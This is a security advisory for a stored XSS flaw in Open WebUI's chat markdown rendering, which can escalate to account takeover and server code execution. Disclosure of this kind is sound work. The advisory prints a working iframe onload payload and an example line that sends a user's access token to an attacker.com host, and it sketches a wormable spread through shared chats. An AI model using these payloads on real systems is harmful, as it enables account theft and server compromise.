SA-26-291 High

Open WebUI: Open WebUI vulnerable to stored XSS via unescaped markdown token in MarkdownTokens.svelte…

Open WebUI

Severity
High, CVSS 7.4
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N/E:P
Record
CVE-2025-46719
Affects
Open WebUI
Known exploited
Not listed in the CISA Known Exploited Vulnerabilities catalog
Published
Record first published by the source
July 7, 2026
Source last modified
July 7, 2026

Description

Summary

A vulnerability in the way certain html tags in chat messages are rendered allows attackers to inject JavaScript code into a chat transcript. The JavaScript code will be executed in the user's browser every time that chat transcript is opened, allowing attackers to retrieve the user's access token and gain full control over their account. Chat transcripts can be shared with other users in the same server, or with the whole open-webui community if "Enable Community Sharing" is enabled in the admin panel.

If this exploit is used against an admin user, it is possible to achieve Remote Code Execution on the server where the open-webui backend is hosed. This can be done by creating a new function which contains maliicious python code.

This vulnerability also affects chat transcripts uploaded to https://openwebui.com/c/<user>/<chat_id>, allowing for wormable stored XSS in https://openwebui.com

Details

Stored XSS

The file https://github.com/open-webui/open-webui/blob/main/src/lib/components/chat/Messages/Markdown/MarkdownTokens.svelte#L269-L279 contains the following code:

		{:else if token.text.includes(`<iframe src="${WEBUI_BASE_URL}/api/v1/files/`)}
			{@html `${token.text}`}

That code checks if a chat message has an html tag which contains the text <iframe src="${WEBUI_BASE_URL}/api/v1/files/, and if so, it renders that html tag using {@html}, which is a dangerous Svelte functionality that allows text to be rendered as HTML code.

Attackers can abuse this by sending a chat message with the following payload: <iframe src="http://localhost:8080/api/v1/files/" onload="alert(1)"></iframe>, where http://localhost:8080 is the URL where the open-webui backend server is hosted.

This will cause a JavaScript alert window to be displayed every time that chat transcript is opened.

![image](https://github.com/user-attachments/assets/1e7da1f9-4154-402a-b5f1-4a50a0b4a227) ![image](https://github.com/user-attachments/assets/f8f463c7-731a-41e0-9e75-c2747639bc5f)

In a real attack scenario, instead of injecting alert(1) in the onload attribute, attackers can use the following code to steal the user's access token and send it to a server they control: fetch("https://attacker.com/?token=" + localStorage.getItem("token"))

This is possible because the access token is stored inside the user's localStorage, which is accessible by JavaScript.

Then, once the attacker has created a chat transcript which contains that payload, they can share that transcript with other users on the same server by clicking on the 3 dots next to the chat transcript on the left, and clicking "Share"

![image](https://github.com/user-attachments/assets/200e3ab1-36d9-4d0c-a869-dd60ae112fc9)

If "Enable Community Sharing" is enabled in the admin panel. attackers can upload the infected chat transcript to https://openwebui.com/, where the Stored XSS payload will be executed

![image](https://github.com/user-attachments/assets/b9bab780-5fc2-439c-9875-d08cedadd99b)

This makes the exploit a wormable Stored XSS. Attackers can upload an infected chat to their profile which has JavaScript code to upload a similar infected chat to the visitori's profile, share it with other members of the open-webui community, and infect their profiles as well.

<hr>

RCE

If an attacker manages to steal an admin user's token, they can then achieve RCE on the backend server by creating a function (http://localhost:5174/admin/functions), which by design allows admins to execute arbitrary python code on the backend server.

The following HTTP request can be sent to the backend server to execute arbitrary python code.

![image](https://github.com/user-attachments/assets/572a1594-cb39-4232-a834-efe625fd3667) ![image](https://github.com/user-attachments/assets/c5b34773-759d-4f0d-9ed8-0b5078e24d1f)

PoC

Attackers can abuse this by sending a chat message with the following payload: <iframe src="http://localhost:8080/api/v1/files/" onload="alert(1)"></iframe>, where http://localhost:8080 is the URL where the open-webui backend server is hosted.

Impact

Attackers can send a a link to a shared chat transcript to other users on the same server to take control over their accounts. They can also upload the chat to https://openwebui.com and take control over other users' accounts.

Description quoted from the NVD record.

Who is affected

Open WebUI is a chat program that people use in a web browser. No specific affected versions are named for this flaw. Because of how chat messages are displayed, an attacker can hide harmful code in a chat conversation. The code runs in the viewer's browser each time the conversation is opened, letting the attacker take over their account. Conversations can be shared with users on the same server, or with the wider Open WebUI community when "Enable Community Sharing" is turned on in the admin panel. If an admin account is taken over, the attacker can run their own commands on the server. This flaw is rated High.

What to do

  1. Find out who runs Open WebUI for your organization: the person who installed it, or an IT provider or vendor who manages it for you.
  2. If you run it yourself, note that no fixed version is named for this flaw yet, so check the vendor advisory linked on this page for a fixed release and install it when available.
  3. If an IT provider or vendor runs it, send them this advisory and ask when the update will be done.
  4. Tell whoever manages it that admin accounts matter most here, because a taken-over admin account can be used to run commands on the server.

Analysis written from the source record as of July 7, 2026 and reviewed before publishing.

Sources

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